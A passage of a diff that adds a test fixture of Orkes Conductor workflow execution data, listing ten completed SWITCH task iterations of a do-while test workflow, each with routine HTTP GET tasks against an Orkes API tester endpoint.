+ { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__1", + retryCount: 0, + seq: 4, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857015, + startTime: 1713413857015, + endTime: 1713413857015, + updateTime: 1713413857015, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "968171ac-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__2", + retryCount: 0, + seq: 8, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857270, + startTime: 1713413857270, + endTime: 1713413857270, + updateTime: 1713413857270, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96a8f6e0-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__3", + retryCount: 0, + seq: 12, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857488, + startTime: 1713413857488, + endTime: 1713413857488, + updateTime: 1713413857488, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ca3a84-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__4", + retryCount: 0, + seq: 16, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857710, + startTime: 1713413857711, + endTime: 1713413857711, + updateTime: 1713413857711, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96ebf358-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 1, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__5", + retryCount: 0, + seq: 20, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413857953, + startTime: 1713413857953, + endTime: 1713413857953, + updateTime: 1713413857953, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97112e9c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__6", + retryCount: 0, + seq: 24, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858204, + startTime: 1713413858204, + endTime: 1713413858204, + updateTime: 1713413858204, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97377b50-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__7", + retryCount: 0, + seq: 28, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858412, + startTime: 1713413858412, + endTime: 1713413858412, + updateTime: 1713413858412, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97571144-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__8", + retryCount: 0, + seq: 32, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858625, + startTime: 1713413858625, + endTime: 1713413858625, + updateTime: 1713413858625, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97779198-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__9", + retryCount: 0, + seq: 36, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413858864, + startTime: 1713413858864, + endTime: 1713413858864, + updateTime: 1713413858864, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979c098c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref__10", + retryCount: 0, + seq: 40, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859083, + startTime: 1713413859083, + endTime: 1713413859083, + updateTime: 1713413859083, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97bd7440-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_3: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__9", + retryCount: 0, + seq: 37, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413858858, + startTime: 1713413858917, + endTime: 1713413858928, + updateTime: 1713413858917, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979c098d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: 